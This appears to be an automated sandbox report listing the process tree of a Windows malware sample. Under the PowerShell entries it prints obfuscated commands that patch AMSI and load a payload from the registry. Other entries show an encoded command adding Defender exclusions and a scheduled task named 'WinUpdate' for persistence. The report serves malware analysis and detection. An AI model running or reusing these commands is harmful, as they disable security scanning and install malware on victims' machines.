Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2af9a8d8-7d43-4469-b667-f514c0c4dd29}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1052
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{96fa9bd5-d50d-4f34-8131-27b55d4b3282}2⤵PID:3900
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1160 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:oZtxEoXjugTM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XuignCBZbwAHFQ,[Parameter(Position=1)][Type]$jJRuRtdYDU)$IovsLXgqznt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'fl'+[Char](101)+''+'c'+'t'+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+''+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+',Ans'+[Char](105)+''+[Char](67)+''+'l'+'as'+'s'+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+'l'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$IovsLXgqznt.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+''+'e'+''+'c'+'i'+'a'+''+[Char](108)+''+[Char](78)+'a'+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$XuignCBZbwAHFQ).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$IovsLXgqznt.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+'k'+'e',''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+'l'+''+'o'+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$jJRuRtdYDU,$XuignCBZbwAHFQ).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'ag'+[Char](101)+''+'d'+'');Write-Output $IovsLXgqznt.CreateType();}$ULyFMfTPFNGSr=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+'t'+'.'+''+[Char](87)+'in'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'th'+[Char](111)+''+[Char](100)+'s');$lPCWaqQQxPgTqJ=$ULyFMfTPFNGSr.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+'A'+'d'+'d'+'r'+'e'+'s'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UOaxeGxhaOQNmSjtkDt=oZtxEoXjugTM @([String])([IntPtr]);$rwopwaCMvXExgrIodBBmiL=oZtxEoXjugTM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$heLIImwEOPN=$ULyFMfTPFNGSr.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'nd'+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l32.'+[Char](100)+'l'+[Char](108)+'')));$QHxXjJdyXivnHD=$lPCWaqQQxPgTqJ.Invoke($Null,@([Object]$heLIImwEOPN,[Object]('Lo'+[Char](97)+'d'+[Char](76)+''+'i'+''+[Char](98)+''+'r'+'ar'+'y'+''+[Char](65)+'')));$zetnzppzwJiEWbKZv=$lPCWaqQQxPgTqJ.Invoke($Null,@([Object]$heLIImwEOPN,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+'ual'+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$QifyzJI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QHxXjJdyXivnHD,$UOaxeGxhaOQNmSjtkDt).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$iQYIkMJMnDiCkWToM=$lPCWaqQQxPgTqJ.Invoke($Null,@([Object]$QifyzJI,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+'Sca'+[Char](110)+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$mzRGrYOVIj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zetnzppzwJiEWbKZv,$rwopwaCMvXExgrIodBBmiL).Invoke($iQYIkMJMnDiCkWToM,[uint32]8,4,[ref]$mzRGrYOVIj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$iQYIkMJMnDiCkWToM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zetnzppzwJiEWbKZv,$rwopwaCMvXExgrIodBBmiL).Invoke($iQYIkMJMnDiCkWToM,[uint32]8,0x20,[ref]$mzRGrYOVIj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+'F'+''+'T'+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUA2⤵
- Command and Scripting Interpreter: PowerShell
PID:4984 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:VKtEEzbNSfhz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dYFkMlvxhftPmh,[Parameter(Position=1)][Type]$MHYnRqwhDI)$mklyrBLFfZN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+'D'+'e'+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+'o'+[Char](114)+''+[Char](121)+'M'+'o'+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'eTy'+[Char](112)+'e',''+[Char](67)+''+'l'+'as'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+',Se'+'a'+'l'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+'o'+''+'C'+''+[Char](108)+'a'+'s'+'s',[MulticastDelegate]);$mklyrBLFfZN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+'i'+[Char](97)+''+'l'+''+'N'+''+'a'+'me'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$dYFkMlvxhftPmh).SetImplementationFlags('R'+[Char](117)+'nt'+'i'+''+[Char](109)+'e,'+'M'+''+[Char](97)+'na'+[Char](103)+'e'+'d'+'');$mklyrBLFfZN.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'ke',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eBy'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'ot,'+[Char](86)+'i'+[Char](114)+''+'t'+'u'+[Char](97)+''+'l'+'',$MHYnRqwhDI,$dYFkMlvxhftPmh).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+'a'+'n'+'a'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $mklyrBLFfZN.CreateType();}$xJlgDKPkTZghG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'Un'+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+'ods');$lBwZTIwEdSMRXD=$xJlgDKPkTZghG.GetMethod(''+'G'+'et'+'P'+'rocA'+[Char](100)+'d'+[Char](114)+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+'t'+'a'+''+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VDEkUcSRWoaXEaHRdmd=VKtEEzbNSfhz @([String])([IntPtr]);$rzHogCTzvQxGryQBARYiGQ=VKtEEzbNSfhz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NpvCzlunAfZ=$xJlgDKPkTZghG.GetMethod('G'+[Char](101)+'t'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$WYmItohQhxmsJX=$lBwZTIwEdSMRXD.Invoke($Null,@([Object]$NpvCzlunAfZ,[Object](''+[Char](76)+''+'o'+''+'a'+'dL'+[Char](105)+'b'+'r'+''+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$OYmpSmTLlgCuQKYse=$lBwZTIwEdSMRXD.Invoke($Null,@([Object]$NpvCzlunAfZ,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+'c'+[Char](116)+'')));$aGjtRfQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WYmItohQhxmsJX,$VDEkUcSRWoaXEaHRdmd).Invoke(''+'a'+'m'+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$KeiXwtBjiVFIECDCN=$lBwZTIwEdSMRXD.Invoke($Null,@([Object]$aGjtRfQ,[Object]('Ams'+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+'B'+''+'u'+'f'+[Char](102)+'e'+'r'+'')));$zHgeipVMZU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OYmpSmTLlgCuQKYse,$rzHogCTzvQxGryQBARYiGQ).Invoke($KeiXwtBjiVFIECDCN,[uint32]8,4,[ref]$zHgeipVMZU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KeiXwtBjiVFIECDCN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OYmpSmTLlgCuQKYse,$rzHogCTzvQxGryQBARYiGQ).Invoke($KeiXwtBjiVFIECDCN,[uint32]8,0x20,[ref]$zHgeipVMZU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+''+'t'+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:3112 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4732
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C:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exeC:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5336 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe3⤵PID:5516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1456
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1252
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2632
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2804
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3340
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1548
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C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
PID:1436 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4160
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3492
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE8F8.tmp.bat""4⤵
- System Location Discovery: System Language Discovery
PID:4164 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2064
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C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4640
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C:\Users\Admin\AppData\Roaming\WinUpdate.exe"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4920 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oqcfri.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4060 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:2940
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oqcfri.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:856 -
C:\Users\Admin\AppData\Local\Temp\oqcfri.exe"C:\Users\Admin\AppData\Local\Temp\oqcfri.exe"8⤵
- Executes dropped EXE
PID:1664
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\vzmqfe.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4184 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:5184
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\vzmqfe.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:2188 -
C:\Users\Admin\AppData\Local\Temp\vzmqfe.exe"C:\Users\Admin\AppData\Local\Temp\vzmqfe.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5136 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:5396
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kkskjy.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:5288 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:5636
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kkskjy.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:4296 -
C:\Users\Admin\AppData\Local\Temp\kkskjy.exe"C:\Users\Admin\AppData\Local\Temp\kkskjy.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3536
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3724
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3892
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4088
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4380
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2608
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2524
